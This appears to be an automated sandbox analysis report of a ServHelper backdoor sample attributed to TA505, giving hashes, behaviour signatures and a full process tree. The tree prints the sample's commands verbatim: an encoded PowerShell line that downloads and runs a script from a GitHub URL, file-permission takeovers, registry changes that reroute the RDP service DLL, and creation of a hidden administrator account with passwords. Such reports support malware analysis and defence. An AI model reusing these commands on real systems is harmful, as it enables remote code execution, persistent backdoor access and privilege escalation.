Analysis

  • max time kernel
    134s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    11-06-2021 14:59

General

  • Target

    20f307c716a689f4afa3a76b7143db22.exe

  • Size

    6.0MB

  • MD5

    20f307c716a689f4afa3a76b7143db22

  • SHA1

    2fd6796fd158c93b14654240533511af6fec03e5

  • SHA256

    3647e2dc4336b2eeb828371821c706a329dce645cb16f9c1c31c3faeae8f56dd

  • SHA512

    0a8d1b2d0cbd3860df907eb692aa2d775f021822b4d856c051d84e8056a2c1cf893bab68f471b69db0615341dd2dfe78dfac1b79d2239217cfbdf71bfb84061b

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\20f307c716a689f4afa3a76b7143db22.exe
    "C:\Users\Admin\AppData\Local\Temp\20f307c716a689f4afa3a76b7143db22.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1100
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1708
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gzhxopf0\gzhxopf0.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1288
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA489.tmp" "c:\Users\Admin\AppData\Local\Temp\gzhxopf0\CSCDBCC0248C7A847EBA4688113AFEA8E2.TMP"
          4⤵
            PID:1160
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1768
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1008
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1672
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1064
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1856
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1216
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1960
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2000
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:576
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1212
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:860
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1744
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1256
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1116
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1700
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1684
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2028
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:456
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:300
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1696
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:2032
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1276
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:636
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1672
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1084
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1856
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user wgautilacc Ghar4f5 /del
                            1⤵
                              PID:1956
                              • C:\Windows\system32\net.exe
                                net.exe user wgautilacc Ghar4f5 /del
                                2⤵
                                  PID:536
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                                    3⤵
                                      PID:752
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user wgautilacc cjzofg0a /add
                                  1⤵
                                    PID:888
                                    • C:\Windows\system32\net.exe
                                      net.exe user wgautilacc cjzofg0a /add
                                      2⤵
                                        PID:1576
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user wgautilacc cjzofg0a /add
                                          3⤵
                                            PID:1744
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                        1⤵
                                          PID:1428
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                            2⤵
                                              PID:1084
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                                3⤵
                                                  PID:828
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                              1⤵
                                                PID:1552
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                  2⤵
                                                    PID:1436
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                      3⤵
                                                        PID:1376
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                    1⤵
                                                      PID:384
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                        2⤵
                                                          PID:1004
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                                            3⤵
                                                              PID:1212
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user wgautilacc cjzofg0a
                                                          1⤵
                                                            PID:1256
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user wgautilacc cjzofg0a
                                                              2⤵
                                                                PID:888
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user wgautilacc cjzofg0a
                                                                  3⤵
                                                                    PID:1632
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1700
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1684
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1692
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1072
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:816
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1132
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1388
                                                                      • C:\Windows\System32\cmd.exe
                                                                        cmd.exe /C net user wgautilacc 1234
                                                                        1⤵
                                                                          PID:1956
                                                                          • C:\Windows\system32\net.exe
                                                                            net user wgautilacc 1234
                                                                            2⤵
                                                                              PID:1800
                                                                              • C:\Windows\system32\net1.exe
                                                                                C:\Windows\system32\net1 user wgautilacc 1234
                                                                                3⤵
                                                                                  PID:1384

                                                                            Network

                                                                            MITRE ATT&CK Enterprise v6

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            • memory/1008-133-0x000000001A9E0000-0x000000001A9E1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1008-134-0x0000000002470000-0x0000000002471000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1008-131-0x000000001B770000-0x000000001B771000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1008-129-0x0000000002500000-0x0000000002501000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1008-127-0x000000001A964000-0x000000001A966000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1008-126-0x000000001A960000-0x000000001A962000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1100-64-0x0000000040FB7000-0x0000000040FB8000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1100-62-0x0000000040FB4000-0x0000000040FB6000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1100-61-0x0000000040FB2000-0x0000000040FB4000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1100-59-0x0000000041660000-0x0000000041A81000-memory.dmp

                                                                              Filesize

                                                                              4.1MB

                                                                            • memory/1100-63-0x0000000040FB6000-0x0000000040FB7000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1388-204-0x00000000196CA000-0x00000000196E9000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/1388-203-0x00000000196C4000-0x00000000196C6000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1388-202-0x00000000196C0000-0x00000000196C2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1672-148-0x000000001AB90000-0x000000001AB92000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1672-150-0x000000001AB94000-0x000000001AB96000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1708-85-0x000000001C2B0000-0x000000001C2B1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1708-101-0x000000001AD2A000-0x000000001AD49000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/1708-156-0x000000001C7F0000-0x000000001C7F1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1708-66-0x000007FEFC1D1000-0x000007FEFC1D3000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1708-67-0x0000000002380000-0x0000000002381000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1708-86-0x0000000002700000-0x0000000002701000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1708-68-0x000000001ADA0000-0x000000001ADA1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1708-69-0x00000000023C0000-0x00000000023C1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1708-84-0x000000001B650000-0x000000001B651000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1708-82-0x0000000002410000-0x0000000002411000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1708-70-0x000000001AD20000-0x000000001AD22000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1708-71-0x000000001AD24000-0x000000001AD26000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1708-72-0x00000000023F0000-0x00000000023F1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1708-74-0x000000001AC40000-0x000000001AC41000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1768-95-0x0000000002440000-0x0000000002441000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1768-94-0x000000001AB74000-0x000000001AB76000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1768-97-0x000000001AAD0000-0x000000001AAD1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1768-99-0x000000001A9F0000-0x000000001A9F1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1768-100-0x0000000002460000-0x0000000002461000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1768-106-0x000000001B670000-0x000000001B671000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1768-93-0x000000001AB70000-0x000000001AB72000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1768-119-0x000000001B6E0000-0x000000001B6E1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1768-120-0x000000001B6F0000-0x000000001B6F1000-memory.dmp

                                                                              Filesize

                                                                              4KB